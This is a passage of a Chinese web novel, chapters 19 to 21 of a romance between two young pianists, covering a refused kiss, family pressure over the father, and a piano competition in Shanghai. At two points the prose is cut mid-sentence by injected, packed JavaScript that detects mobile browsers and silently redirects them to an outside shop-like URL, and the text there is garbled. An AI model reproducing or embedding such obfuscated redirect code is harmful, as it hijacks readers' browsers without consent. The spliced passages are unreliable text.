她的目光落在李寻的嘴唇上。看起来很软。 李寻为她放弃了那么多,她必须支付一些什么来维持这段关系的平衡,防止他后悔或离开。 一个吻怎么样? 预习关系、锚定契约、支付报酬、验证真心。 这是她能想到的甜头。 给予这种亲密,让他觉得自己的付出是值得的。 在她心思百转千回之际,李寻的睫毛颤动,睁开了眼睛。 二人措不及防对视,被吓一跳的却是李寻,梁初灵已被抓包过偷看,同样的错误她很难犯第二次,所以哪怕是强装的镇定、那也镇定得很有说服力。 李寻当然没料到一醒来会看到她如此专注地盯着自己,身体后仰了一些。 “怎么啦?”他揉了揉自己额头。 梁初灵的心跳失序,她要做一件事。 被复杂冲动驱使,她凑上前去—— 在她的唇即将碰触到他的前一秒,李寻抬手隔在了中间。 梁初灵的动作僵在半空。 她撞进李寻已经完全清醒的眼睛里,那里面是无奈。 他的手心贴着她的嘴唇,那是一道无法逾越的屏障。 “梁初灵。”李寻叫她名字,然后收回手,指尖在她眼前划过一道界限,“我们说好的,等一起申上学校之后再——” 话语止步于此。 想象无限延申。 李寻的声音很轻,未竟之意却像锤子一样把她先前的所有打算敲击得土崩瓦解。 梁初灵哑口无言。 李寻看着她眼中闪烁的混乱,几不可闻轻叹一声。 他次伸出手,这次只是轻轻拍了拍她的发顶,安抚一个用错了方式来表达需求的孩子。 “不急,好不好?” 躁动的尘埃在此时轻松地徘徊,梁初灵却突然觉得李寻这片水也同样能溺毙人。 很久以后她才知道那是一种命运的预演,所以人会下意识地战栗。 窗外开始下雨,梁初灵耳朵里是肖邦的雨滴音。 肖邦用单调重复的音型,那雨滴声从始至终没有停歇。 无论旋律和和声如何发展,情绪从宁静变为狂暴再回归平静,那个原点般的节奏脉搏始终存在。 雨滴音像一个恒定的背景,音乐围绕着它展开戏剧性变化,但最终都无法脱离。 无论内心经历多少风雨和动荡,雨滴是永恒不变的。 乐曲最后又回到了开头的宁静旋律,配合着渐渐消失的雨滴声,从原点出发又回归原点。 仿佛一切从未发生,却又什么都发生。 世界上那么多热闹里,梁初灵回到了原点。 19. 《四季》 梁初灵的脚踝拆了石膏,重新活蹦乱跳。 去医院的那天她总觉得会碰到林佳妮,一路上东张西望,可没看见。 李寻问她在找什么呢? 梁初灵支支吾吾不知道怎么说,只说找一个朋友,上次来医院是她送自己来的。 李寻难得冷飕飕刺她:“你朋友送你来医院,你从医院回家就骗你的另一个朋友说刚放学。” 梁初灵嘿嘿一笑:“干嘛呀你…!我那不是怕你担心吗!” 李寻扶着她:“只要没看见你,不论你怎么说我都会担心的。所以说实话就好,这样你自己的心理压力会小一点。” 此话太真,梁初灵的确心理压力很大。 所以即使李寻回来了,但两人见面的频率也并不高。 主观原因是梁初灵近乡情怯。 那天的告白像他朝李寻开了一枪,一颗子弹穿膛而过,却炸在了她自己心里。 她把李寻以一种近乎讹诈的方式绑在了身边,为此她有不耻,却无手段。唯一的手段——那个预付的吻,也被客客气气退了货。 从此面对李寻,她有点不知道怎么摆放自己的手脚和眼神。 看见她,就等于看见那样落魄的自己、看见不够纯粹的心、看见自己被拒绝的尴尬。 十七岁的骄傲和混乱让她选择暂时性眼盲,能躲就躲,能线上绝不线下。 梁初灵是一贯忙,狠起来一天能练12小时琴。虽然已经打回了很多演出邀请,但有一些演出卖的是人情,不能不去。这就让她的主观避让有了客观的理由。 客观原因是李寻也真的忙,忙得脚不沾地。 他以前没考虑过要去音乐学院,原本打算申斯坦福的心理学。毕业后再看看还想学点什么。 他对音乐向来有审美、有热爱,但没追求。音乐是他的母语,但未必需要特定舞台才能言说。对站在舞台中央或者青史留名的欲望并不强烈。 用李炽的话说,他是个在音乐花园里闲庭信步的游客,欣赏风景,但没打算留下来。 可现在既然有了那个约定,他便开始认真对待。 九月份柯蒂斯的报名就开启,十二月底就要截止,实在仓促。原本优哉游哉的生活瞬间按下快进键。 弹钢琴是乐趣,但凭此冲击柯蒂斯,李寻知道自己的技巧还欠火候。可作曲不同,那里有他未经完全雕琢的灵气。作曲更看重想法,看重内在的秩序和情感的表达,会是李寻擅长耕耘的领域。 于是李寻的训练方向转了弯。 靠着自己和李炽的面子,找了一位作曲教授,于是生活被迅速填满:上午练琴,保持手指的活性和技巧;下午扎进和声、曲式、配器的海洋,在工作室或图书馆里鏖战;晚上继续打磨作品,和研究柯蒂斯往年的录取偏好和申请流程。 这过程并不总是愉快。 相比于梁初灵的敏锐直觉,他依靠的是理性分析和反复推敲。 所以尽管李寻回国,但有时候两人还是靠着打视频看看对方。 幸亏养猫不用太操心,李寻不在家的时候梁初灵能上门照顾照顾,两个人都没法在家的时候,放好猫粮,有自动猫砂盆,栗子也能自己生活两三天。 李炽那边为此给李寻争取到了一个珍贵机会,跟随一位欧洲钢琴谱曲大师学习一年。大师年事已高,早已不再公开授课,门下学生寥寥,但每一个都在乐坛留下了独特印记。他以擅长挖掘音乐家内在灵魂、而非雕琢技术著称,眼光毒辣。 这对李寻来说,无疑是通往另一个音乐境界的捷径。一种神谕般的召唤。 李炽把相关资料发给李寻:“大师今年打算收一个学生,跟随他学习一年。我争取到了一个推荐名额。机会难得,你自己考虑。想去,我就去联系。去了的话你就过一两年再申请柯蒂斯,这一年你好好学点东西。” 李寻看着邮件里寥寥数语的介绍,沉默了很久。 他心动。没有一个真心热爱音乐的人能抗拒这种引领。 并且他明白母亲的意思。 她知晓他开始对弹钢琴重拾热爱也好、回国也好、要申音乐学院也好、学作曲也好,通通都是为了梁初灵。 既已如此,那么李炽希望李寻能完全跟上梁初灵,能与她并肩。 只是申上音乐学院无法保障任何东西,若李寻成为大作曲家,和梁初灵的未来才会安全稳固。 她经历过这样的爱情,也丢弃过这样的爱情。 可除去天才,李炽还有一道身份。 身为母亲,并不会觉得这样是正确、是合理的,但她既已没有将其掐灭于最初、反而有助长之势——是为什么,她心里也清楚。 是因为李寻前十几年的钢琴生涯都是为了李炽自己,而李炽觉得自己辜负了儿子,既没有费心栽培他,也没有放过他让他去找寻别样人生。连行程都是李寻围着她转。 那,她尊重李寻的一切选择。哪怕他的选择是跟随的姿态、是献祭的样式,那也是他自己选择的。 李寻不愚钝,明白这一切思量。 但一年。欧洲。那么远,那么久。 他和梁初灵的约定才刚刚开始。如果此刻离开,相隔万里,时差颠倒,隔着时区和海洋,会发生太多事情。约定的时间被延迟,他好不容易才让她们的轨道重新交汇。距离也会冷却刚刚升温的一切。 挣扎和权衡像两只手,反复拉锯。 深思熟虑后,他最终婉拒了母亲。 他对作曲的兴趣没有对梁初灵的兴趣浓。 李炽的电话很快打过来。 “决定了?”她问。 “嗯。”李寻应道。 “理由呢?” 李寻不想把真实原因用嘴巴说出来,那显得太过儿女情长,也怕李炽对梁初灵有想法。但又不是面对面,无法意会、无法眼神传言,也不想骗人,只有沉默。 电话那头,李炽笑了一声:“还是为了梁初灵?” 李寻没吭声。默认。 李炽也没追问,只是淡淡说:“我提供机会,不代表你就一定要按我的期望来。你有你的选择,我尊重。但是,李寻你记住。如果你是为了她,放弃了原本你自己也梦寐以求的东西的话。那么就像你婉拒这个机会一样,如果有一天,梁初灵婉拒了你,你也不能有任何别的想法。路是你自己选的,后果也得你自己承担。是你在为你自己做选择,你明白吗?” 李寻点了点头,尽管李炽看不见,“我明白。” 他明白的。所有的选择,代价自负。 他选择留下,选择等待,这都是他为自己做出的决定。 李炽建议他还是跟梁初灵提一下这件事,免得以后等梁初灵从别的渠道知道,反而造成更大的误会。 他跟梁初灵提的时候语气轻松,说教学理念不太合,所以推了。 梁初灵只听他一笔带过那样会离开一年,还没反应过来,又中计于他挑动情绪、转移目标的高超技法。 眉毛挑得老高:“你没事吧?那可是大师课!你跟教学理念较什么劲?能学到东西不就行了?” 她脸上是不掩饰的:你不识好歹! 她确实觉得可惜。 在她看来,任何能提升音乐水准的机会都应该死死抓住,理念不合算什么?能偷师到一点就是赚到。 李寻这种随遇而安、甚至有点不求上进的态度,让她那颗争强好胜的心颇感不解,甚至有点恨铁不成钢。 李寻没多解释:“嗯,可能我比较挑。” 梁初灵摇摇头:“真是暴殄天物。” 心里对李寻的刻板印象又加固了一层,她还是觉得遗憾,想了想继续说:“你以后可别懊悔莫及翻然悔悟幡然醒悟追悔莫及!” 李寻看着她痛心疾首的样子,笑得很有兴致:“真棒啊,这文化程度、这成语量、这思考深度。” 梁初灵气得呲牙咧嘴。 妈女士在那通电话的三天后到家,脸上是憔悴偕同焦躁。 外面下着雨,妈女士都没顾得上放下行李,先过来看看梁初灵的脚。柔软的手抚上梁初灵的脸颊,带着温暖的香气:“宝贝,怎么弄成这样也不跟妈妈说清楚?只说是摔了,妈妈心都要碎了。” 梁初灵没躲:“没事了,快好了。” 妈女士挨着梁初灵:“初灵,妈妈知道你受委屈了。你爸爸那个人脾气是急了点,说话有时候不过脑子。你是他的心头肉,他怎么可能不疼你?只是方式不对。” 梁初灵没说话。 “但是宝贝啊,我们是一家人。一家人哪有隔夜仇呢?你看,你爸爸也是一时在气头上,停了你的卡,调走了司机。他这是在跟你赌气呢,像个老小孩。”妈女士轻轻拍着梁初灵的手背,“妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741845|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道你不是故意顶撞他,你只是心情不好对不对?小孩子嘛,都有闹脾气的时候。可我们有时候要懂得给台阶下。你爸爸他支撑这个家也不容易,我们得体谅他,是不是?” 梁初灵垂下眼睫,盯着两人交握的手。母亲的手温暖柔软。 “初灵,妈妈跟你说这些,不是为了逼你。妈妈是怕你跟你爸爸关系真的僵了,以后怎么办?除了专业能力,推荐信、背景评估哪一样不需要家庭的支持和背书?还有那几个重要的国际比赛,评委圈子里人情往来错综复杂,妈妈不是说他一定能做什么,但是我们不能冒任何风险。再者说,妈妈那些投资也是靠着你爸爸的关系网才能维系。要是他真的不管我们了。” 妈女士停下来,用力握了握梁初灵的手:“妈妈不想你因为一时意气,耽误了自己的前程。那多不值得?” 梁初灵抬起头,看着母亲那双美丽的眼睛。 其实李寻的眼睛和妈女士长得很像,很薄很窄的两层眼皮,在眼尾处才开叉向上,贴着睫毛的根,不反射光,只沉淀影,是水面被风吹出的一道痕,太薄了,梁初灵觉得自己指腹一捻就会划开,无端显得脆弱。 这是一双不易察觉的眼睛。 “所以呢?”梁初灵问。 “所以去给爸爸打个电话,好不好?”妈女士立刻接上,“就说你知道错了,父女之间有什么不能原谅的?说开了,一切都回到正轨,他心里舒坦,自然会加倍对你好,你的所有事情,他也会更上心。妈妈心里也才能踏实下来。” 妈女士拿出自己的手机,调出梁父的号码,递到梁初灵面前,梁初灵看了一眼,备注是“丈夫”。 “来,打个电话,为了妈妈,也为了你自己。” 梁初灵看向妈女士那双眼波流转、呼出气息的眼睛,像陷入了一团棉花里,四面八方都是压力,却找不到一个着力点可以反击。话语也不再清晰,一同陷落。 她没有立刻接过手机,妈女士也没有收回手,而是继续说:“宝贝,妈妈身体出了点问题。” 梁初灵一下子耳清目明,用眼神表达在听。 “前几天去做了个体检,医生说妈妈子宫里长了个肿瘤。” 梁初灵对这个词的认知来自于一些新闻,通常与化疗、脱发和死亡联系在一起。她坐直身体,伸手——却不是接过手机,而是抓住了妈女士的手腕。 妈女士任她抓着:“别怕,肿瘤是良性的,更多与内分泌和情绪有关,手术并不复杂。最好是尽快安排手术。” 她不用再说下去,梁初灵不是傻子。梁父能联系上最好的专家和医院,但需要看他愿不愿意联系。 直指生命本身,没人可以招架。 她需要很多东西,而道歉是成本最低的获取方式。 梁初灵迅速打了电话,也迅速被接起。那边是梁父刻意的沉默。 梁初灵:“爸爸。对不起。” 电话那头传来满意的哼声:“知道错了?” “嗯。我不该那样跟您说话。是我不懂事。” “现在知道不懂事了?早这么听话不就好了?非要闹得大家都不愉快!我告诉你梁初灵,给你最好的生活,培养你,不是让你来气我的!好好弹你的琴,别学那些没用的!再有一次,你看我还管不管你!” 梁初灵沉默地听,妈女士在一旁鼓励地对她点头,用口型说:“听着,听着就好。” “行了,知道错就行。记住这次教训!” “知道了。”梁初灵应。 梁初灵把手机递还给妈女士。 妈女士接过手机,一把搂住梁初灵,在她额头上亲了一下。 “我的乖宝贝!谢谢宝贝,这就对了嘛!你看多简单的事儿,说开了就好了!”她心情大好,开始规划,“等你脚好了,妈妈带你去看看新款,女孩子嘛,总要漂漂亮亮的。” 梁初灵任由她抱着:“你一定要尽快做手术,我陪你去吧。” “好!” 夜深了,雨还没停。 妈女士躺在她旁边的床上,还在讲她的旅行趣事,也讲已经约到了最好的医生,不用担心。 梁初灵听着听着,眼皮开始打架,脑子里却闪过李寻的脸,他说明天要来附中找教授有事情,他说明天见。 明天见,这是很好的一句话。 李寻,这是很安全的一个人。 20. 《前奏曲与赋格》 附中的隔壁班里转来一个新同学。 隔壁班主任带着女生走进教室:“同学们,安静一下。这位是新转来的同学,金溪,从四川音乐学院附中转过来的。大家欢迎。” 金溪有些腼腆地站在讲台上,小声做了自我介绍。 教室里响起稀稀拉拉的掌声。附中这种地方,来个转学生实在不算什么新鲜事。 几个班级都是差不多的老师在带,同学不一定互相熟识、但也在不同场合之下合作过。 金溪转来的这天,几个班里都有接近一半的同学要去参加在市音乐厅举办的青年演奏家音乐会,争取能拿到高规格比赛的入场名额。 梁初灵下午准备去琴房,从隔壁班路过,看着空了一半的座位,又看了看那个有些无所适从的生面孔,有些不忍,走到金溪桌前:“他们都去音乐会了,走,我带你熟悉熟悉环境吧。” 带着金溪在附中校园里溜达,介绍哪儿是主教学楼,哪儿是琴房,哪个食堂的哪个窗口比较好吃,哪个老师比较严格。 金溪跟在梁初灵身边,听得认真,不时发出哦哦嗯嗯咦的感叹,语气词丰富。 走到琴房时,有间琴房空着。梁初灵随口问:“要进去弹会儿吗?” 金溪眼睛一亮:“可以吗?” “这有什么不可以的。”梁初灵推开门。 金溪在钢琴前坐下,略显拘谨,弹了《二部创意曲》的第一首。技术很扎实,虽然有点紧张,但能听出良好的基础和乐感。 弹完,她有些不好意思地看向梁初灵。 “挺好的。”梁初灵客观评价,“基础很稳。” 金溪立刻笑开:“真的呀?你是我偶像!你超级厉害!你弹琴牛牛的!” 第一次听人用“牛牛的”形容她弹琴,梁初灵没绷住笑出来。但金溪眼神真诚,两人就着钢琴的话题聊开。 金溪性格活泼,说话爱用叠词,这个谱子难难的、那个老师凶凶的、衣服花花的。 聊到兴头上,金溪问:“初灵,你能吃辣吗?” “能啊。” “太好了!”金溪一拍手,“我爸还在搬家,等下个月的周末你来我家,我让我爸爸给我们做好吃的!” 梁初灵毫不犹豫答应:“行!” “而且,我还要给你一个惊喜。” 梁初灵追问:“什么惊喜?” “现在不能说,说了就不叫惊喜了。”金溪卖着关子。 —— 梁初灵和金溪约的饭最终还是没吃上,因为等到了下个月,她生活的重心被另一件事占据: 李寻要参加上海的一场国内钢琴比赛。 这也是为申请学校做准备。 比赛规格不低,门槛设得矜持,邀请了梁初灵出任评委,邀请函发到她邮箱,原本是不打算去的,绞尽脑汁写评语实在难为她。 然而,计划赶不上变化。 变化的名字叫李寻。 梁初灵是自己在参赛名单上看到李寻的名字,转而一想李寻确实跟她提过要去参加几场比赛。但还是有奇妙的不爽。 梁初灵改了主意,给比赛组委会回了邮件,接下评委工作。 组委会那边自然是喜出望外,很快发来了详细的日程安排和评委须知。 梁初灵还去问他,如果自己当评委他会不会紧张? 李寻说应该不会吧,应该是会更安心,起码说明比赛会很公平。 两个人如今的关系薄而韧。 她躲着他,他忙于申请,见面次数屈指可数。梁初灵整理不好自己,也就不知道该如何面对他。 可另一方面,她把他绑在了自己身边,总不能真就撒手不管,任由他在另一条轨道上独自航行。微妙的占有欲和控制欲冒头。 几种情绪交织,对于李寻,她无法面对,又想靠近;觉得尴尬,又觉得需要加深绑定;还有连她自己都没太意识到的,想要进入他生活轨迹的冲动。 李寻的行程比梁初灵更早确定下来。 比赛只是一个环节,他提前一个半月就动身去了上海。那边有位李炽旧识的作曲老师,答应这段时间给他做些针对性指导,也答应给他写推荐信。 另外他还在上海接了两场小型现当代作品的创作沙龙,当作积累经验,也为申请材料增添内容。 演出时间恰好在比赛前两周。演出结束,他正好可以留在上海心无旁骛准备比赛。 一个半月前。 “栗子得找个地方寄养一段时间。”李寻说。 “送我那儿啊!”梁初灵立刻说,随即自己又否定,“呃……还是算了。” 想起很久以前的那只橘猫,总觉得自己家不适合养猫。 张姨倒是会细心照顾,可妈女士如今在家,就不免让梁初灵担忧栗子也走向同一种命运。 也担心梁父万一哪天又抽风回来,看到这猫,不知道会说出什么难听话。 “感觉它呆在我家,还不如去寄养呢,至少还有猫猫陪它玩。”梁初灵得出结论。 李寻笑了笑:“我找了一家评价很好的宠物寄养,环境不错,有专人陪玩,每天都会发视频。” 送李寻和栗子走的那天,是个晴朗的早晨。 宠物店里干净明亮,猫舍宽敞,玩具齐全,工作人员看着也亲切。栗子被放进它临时的豪华套间,东嗅西闻,没心没肺。 梁初灵扒着玻璃看了它一会儿,戳了戳李寻:“你看它,一点离愁别绪都没有。” “这样挺好。”李寻看着栗子。 送李寻去机场的车来了。梁初灵站在原地,看着他放好行李,拉开车门。 “走了。”李寻回头看她。 “上海见。别掉链子啊。”梁初灵挥挥手。 李寻不在的日子,时间好像走得更快。 梁初灵把所有的精力都投入练琴,用金溪的话说,就是“练得快要冒烟烟!” 金溪太敞亮,居然带自己爸爸做的饭到学校和梁初灵一起吃,仰着脑袋说自己爸爸是厨神! 梁初灵被香晕了,一口气吃了半保温桶的饭,金溪啧啧称奇。 她还没忘:“到底是什么惊喜?” 金溪出奇倔强,就是不说,要下次梁初灵去她家的时候再揭秘。金溪她家住在四十公里外的其它区,太遥远。也挤不出一天的时间去做客一趟,于是就不知道这个惊喜何时才能揭秘。 梁初灵好奇心重,却只能愁得慌。 看着窗外,已是酷暑,阳光灼人。 她拒签了一个快递,也不算快递,是梁父的秘书送到家的,说是补给梁初灵的生日礼物。梁初灵打开,是一个钻石挂坠,她摸了摸自己脖子上那条,让秘书原路返回。 转眼,距离比赛还有一周,梁初灵要出发去上海了。 李寻本来打算过来北京接她再一起去上海,梁初灵想,这不纯粹吃饱了撑着吗? 一巴掌把这想法打回。 李寻没办法,只争取到了在目的地接她。 梁家的司机还没被配回来。 梁父在这方面拿捏得很有分寸,恢复了她的信用卡,但像司机这种便利,就故意拖着,留下一条线索,时时刻刻提醒她上次不听话的代价。 妈女士准备送她去高铁站的想法也被梁初灵拒绝,毕竟大病初愈,折腾一趟太没必要,妈女士只好嘱咐了几句注意安全。 出发那天早上,梁初灵叫了辆专车去高铁站。 司机是个中年男人。 起初一切正常,直到开上拥堵路段。旁边一辆车要加塞,梁初灵这辆车的司机不肯吃亏,喇叭按得震天响,车窗降下,两个大男人就在行驶中对骂起来,词汇量丰富,情绪饱满。 梁初灵坐在后座,感觉头要炸了。 两个人骂得越来越有激情,车速慢下来,最后直接停在了路边!两个司机同时开门,眼看着要下车,还撸袖子要动手,完全无视身后喇叭声,也无视车里的乘客。 梁初灵开口想劝住自己的司机:“你能不能先尊重一下你的工作?把乘客安全送到目的地是基本职业素养吧?有什么私人恩怨不能等送完人再解决?!” 载她的司机正骂在兴头上,被个小姑娘打断,很是不爽,斜眼瞪她:“小丫头片子懂什么!没看见这孙子找事吗?” 梁初灵气得在心里咒骂,很无奈,她理智尚在,为了自身安全着想,的确不适合在一个正怒气冲天的男人面前逞口舌之快。 看了看周围,堵塞的车辆越来越多,跟这两个脑子不清醒的人讲道理,也纯属浪费时间。 二话不说,拎出自己的行李箱,走向不远处的公交车站。 走到遮阳棚下,梁初灵才觉得一口气顺了点,但怒火更旺! 要不是她爹那个神经病把司机调走,她何至于要自己打车,碰上这种破事!连个靠谱的司机都没有!真是倒了八辈子血霉! 梁初灵咬牙切齿拿出手机,准备重新叫车。 正是早高峰,附近车辆紧张,排队显示前面还有十几位。 她烦躁得想踹行李箱时,一辆车缓缓靠边,停在了公交站前。副驾驶的车窗降下,露出一张眼熟的脸。 是林佳妮。 她看起来比上次见面时状态好了很多,眼神里没有了之前的慌乱和哀戚。 林佳妮叫她:“梁初灵?你怎么在这儿?” 梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750628|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初灵也没想到会在这里碰到她,一时有点尴尬,站直了身体:“……我去高铁站。司机跟人吵架,把我撂路上了。” 林佳妮解开安全带下车,绕过来帮她拿那个大行李箱:“先上车吧,我送你过去。这里不能久停。” 梁初灵愣神的功夫,行李箱已经被她放进了后备箱。 坐进副驾驶,系好安全带,车内还是那样干净,没有香气没有摆件没有挂饰,让人心惊的干净。 梁初灵浑身不自在,眼睛盯着前方。 林佳妮先开口,声音很温和:“你的脚好了吗?拆石膏那天我也去医院了,看到有人陪你我就没露面。恢复得怎么样了现在?” 原来你真的在,不是我的臆想。梁初灵在心里给自己的直觉竖大拇指! “没事没事,好得很。”梁初灵回答,又没话找话:“我爸后来找你了吗?” 林佳妮打着方向盘走上另一条道:“没有。你别担心,我找到新工作了,也搬了家。现在挺好的。” 梁初灵松了口气。还好还好。 林佳妮看了她几眼,似乎还想要继续说些什么,但还是没出声。梁初灵察觉了,让她竖大拇指的直觉告诉她这会和梁父相关——那就估计没什么好事。 所以她不想问。 既已察觉,就会带来隐形的影响。 梁初灵不问,却又像是要撇清什么,也像是真心劝告:“你别为他生气,他真的不是一个好东西。” 这话从一个女儿嘴里说出来评价自己的父亲,实在有些怪异。 但林佳妮点了点头:“我知道。” 过了一会儿,她飞快地看了梁初灵一眼:“他对你好吗?” 五个字像五个音符,噼里啪啦,梁初灵不知道应该怎么回答这个问题,于是装作没听到,又给自己洗脑是真的没听到,转而去想什么钢琴曲只有五个音符来着? 《彩云追月》?一开始好像是用五音阶写成的? 欸,这首曲子倒真的很适合李寻弹欸。自己不行,自己弹出来像黑云压城。 想着想着忍不住笑出来…… 林佳妮突兀听见笑,诧异看她,也忍不住笑了一下:“看起来他是个好爸爸,对你不错。” 这就误会大了…… 梁初灵立刻摇头加摆手,用尽全身力气表达“不不不”。又觉得这样是不是不太好,琢磨了一会儿怎么高情商表达,于是说:“……看跟谁比吧。” 林佳妮却听出了答案。她看着前方,声音不高,但笃定:“他对你不好。” 梁初灵哑火。又是五个字,现在不再是彩云追月,换她上场,演绎黑云压城。 车窗外的景物倒退,柳绕岸,日高悬,却显得模模糊糊。 同情、怜悯、不忍,都是堪称软弱的情感,一种用人观己却误以为是以己度人的情感。 可林佳妮并未表现出任何漂浮着的语气,是一种澄澈的笃定,显得很稚气。 是,不好。 她无话可说。 林佳妮也没有再说话,她开车很稳,和刚才那个司机对比鲜明。 车子在一个红灯前停下。 梁初灵看着林佳妮放在方向盘的手指。指甲修剪得很干净,剪得过短,只比血线高一点点,的确是弹钢琴的习惯。也的确是一双曾经弹过钢琴的手。手指比较粗,很有力量,小拇指收不拢。 说不清是否感到物伤其类,梁初灵突然开口:“如果你还是喜欢弹钢琴,并且想学的话,我可以教你的。” 林佳妮扭头看她,明显难以置信。 梁初灵被她看得有些不自在,说:“不过我没教过人,可能教得不好。” 绿灯亮了。后面的车按了下喇叭。 林佳妮回神,声音柔软:“谢谢你。” 到了高铁站出发层,林佳妮停好车,不仅帮梁初灵拿下行李,还陪着她一起进了站,直到安检口。 梁初灵觉得不好意思,又道谢:“太麻烦你了,谢谢你啊林……林阿姨。”她卡了一下,不知道该怎么称呼。 林佳妮笑了笑:“不麻烦,顺路的事。也谢谢你,一路顺风。到了微信上跟我说一声。” 刚才在车上二人加了微信。 梁初灵看着她转身离开的背影,混在熙熙攘攘的人群里,挺拔,独立,和上次那个泪眼婆娑找到她家门口的女人判若两人。 她给李寻发了条消息:“朕已出发,尔等速速准备接驾。” 很快,李寻回复:“恭候大驾。” 梁初灵看着屏幕忍不住笑。 转身走向安检通道。 背后是北京略显灰蒙的天空,前方是旅程。而她捏了捏拳头。 21. 《匈牙利狂想曲NO.2》^^…… 梁初灵听别人弹琴总喜欢猜一些信息,多数时候都很准,只需弹一两分钟,就能猜到性格、性取向、思想特征。 音乐是一种完全自我的艺术,只依赖于直觉和感性,一个人的生活方式和思想性格实在是无法在音乐中被很好的掩饰。 赤裸多过于浪漫。一种无可奈何的真诚—— 我向诸位,袒露我的精神世界。 比赛结果结果出来,李寻是第七名,也是梁初灵的意料之中。 李寻的演奏技巧扎实,音乐处理也有想法,但放在这群顶尖的年轻钢琴家中不够出类拔萃。他真正闪光的地方也不在这里。 梁初灵当评委也不是为了期待李寻夺冠,本就只是想来听听更多的表达、想来听听李寻的表达。 只是—— 环顾四周,她发现另外几位评委脸上也多少带点意犹未尽。 这次比赛,除了李寻,还有好几个选手在某些段落处理上灵光乍现,或者本身就带着点离经叛道的创作苗头,只论名次、只论技术,确实有点埋没。 梁初灵先找了其她评委一起商量,认为比赛不仅仅是名次的角逐,更是音乐思想和表达的交流。因此能否邀请几位在音乐表达上有独特想法和设计的选手,进行一场小小的表演赛。不计名次,只为展示音乐的更多可能性。 评委们纷纷同意。 于是梁初灵再找到组委会主席,笑眯眯地说:“我们有个不情之请。我们几个评委商量,想邀请几位在音乐表达上有一些特别想法的选手,加赛一场表演赛,不拘一格,玩玩创作相关。您看怎么样?” 主席眼皮一撩,梁初灵这尊小佛,平时请都请不动,难得碰到她主动表露兴趣,答得干脆:“行啊。玩玩呗!” 一场计划外的不计名次的表演赛,就这么仓促又高效地被组织起来。 消息传到后台,被点名的选手都有些意外,随即跃跃欲试。 表演赛没那么多规矩,要求与创作相关,形式不限。 几个被点名的选手轮流上去,有改编流行歌的,有玩现代派音效的,底下没走的观众看、听得津津有味。 有一位选手表演时,梁初灵发现李寻听得很活跃,那位选手是改编的一首流行歌,梁初灵没听过,但她记下了李寻的反应,准备结束后问问他。 轮到李寻。 他目光在台下评委席,在梁初灵的方向,蜻蜓点水一眼。 梁初灵察觉了,摸了摸自己脖子上的吊坠,想要给他一点加持。 他的第一个音符像一滴水,滴进寂静的湖面。 接着是第二滴,第三滴,旋律慢慢铺开,不像河流,像雾气,朦朦胧胧,弥漫开来。音符稚气,中段出现几个跳跃的不和谐音,像平静水面突然跃起的鱼,带出一点鲜活的生命力。旋律线条缠绕,推进,像两个人在低声交谈,一问一答,来来往往。 梁初灵坐直,想看清楚他的表情。 这不是她熟悉的任何一首曲子。只能是李寻自己写的,而且是即兴。 他弹得并不辉煌,却饱含叙事的真诚。 是在用音乐说话。说给谁听? 其实并不是问句,李寻从不吝于袒露自我,他有真诚的品格。 跳跃,破碎,像小心翼翼的试探,几个单音犹豫地重复。有时又像压抑不住的倾吐,密集的音符奔涌而出,是不管不顾的冲动。 左手持续着一种固执的类似心跳的节奏,右手却编织出矛盾的线条,和谐与不和谐交织,在进行一场激烈又无声的辩论。 音乐渐渐平息,回归到几个简单的和弦,悠悠散在空气里,留下大片的空白。 赤裸。 一个毫无防备的人,在毫无准备的场合,却毫无负担的敞开了自己的精神世界。 把里面的混乱、挣扎、试探、渴望,还有无可奈何,都摊开在你面前。 赤裸。 最后一声叹息落进灯光里。 全场安静一会儿后,掌声才哗啦啦响起,比给刚才任何一个选手都热烈。 梁初灵跟着鼓掌,心里呆愣,显得有点傻。 看着台上被灯光罩住的李寻,他微微鞠躬。 组委会主席上台,宣布临时增设一个特别创意奖,唯一的获奖者就是李寻。 一束追光啪地打在李寻身上,把他整个人照得发亮。 他穿得正式,一身黑西装很衬他,这个发型也衬他,这个奖杯也衬他……这就纯属梁初灵胡说八道了,奖杯是个临时不知从哪薅来的蓝色领结造型的钢塑。 想必工作人员是柴可夫斯基的粉丝。 李寻站在那儿,接过奖杯,有点无奈地笑了笑。 光照而下,如银河倾泻,梁初灵心里却冒出残忍二字,好动人的银河代表好乏味的时间。 梁初灵觉得时间应该替李寻纪念住很多东西,那样才能与平淡对抗。 而李寻比时间更有穿透力,他顿顿的,也如一条河,一条真正的河。 梁初灵看着那束光,心里某个地方也啪地一声被打亮。 好像变得很喜欢他。 颁奖礼彻底结束,人群散得更快。 梁初灵正低头收拾自己的水杯和按摩球和零食,一个声音在旁边响起来,带着点洋腔洋调的中文:“梁初灵?梁评委?梁老师?” 她抬头。 一个男生站在面前,个子很高,穿着西装,没打领带,衬衫扣子解开两颗,脸上带着明亮的笑容。 是周序,刚才正赛的冠军。 “你好,恭喜夺冠。”梁初灵点点头,客套一句。 以前在欧洲时有过几面的交集,得知他参赛,也就已经明白了冠军势必花落他手。周序的技术没得说,无愧从欧洲回来的天才少年这个名号。 “谢谢。”周序笑容更大,直接又坦率,“你的评分很犀利。我弹那个滑音,只有你扣了分。” 梁初灵挑眉:“弹错了当然要扣分。” “是,梁评委铁面无私。”周序一点也不尴尬,反而凑近一点,“晚上组委会有个庆功宴,我们一起?” 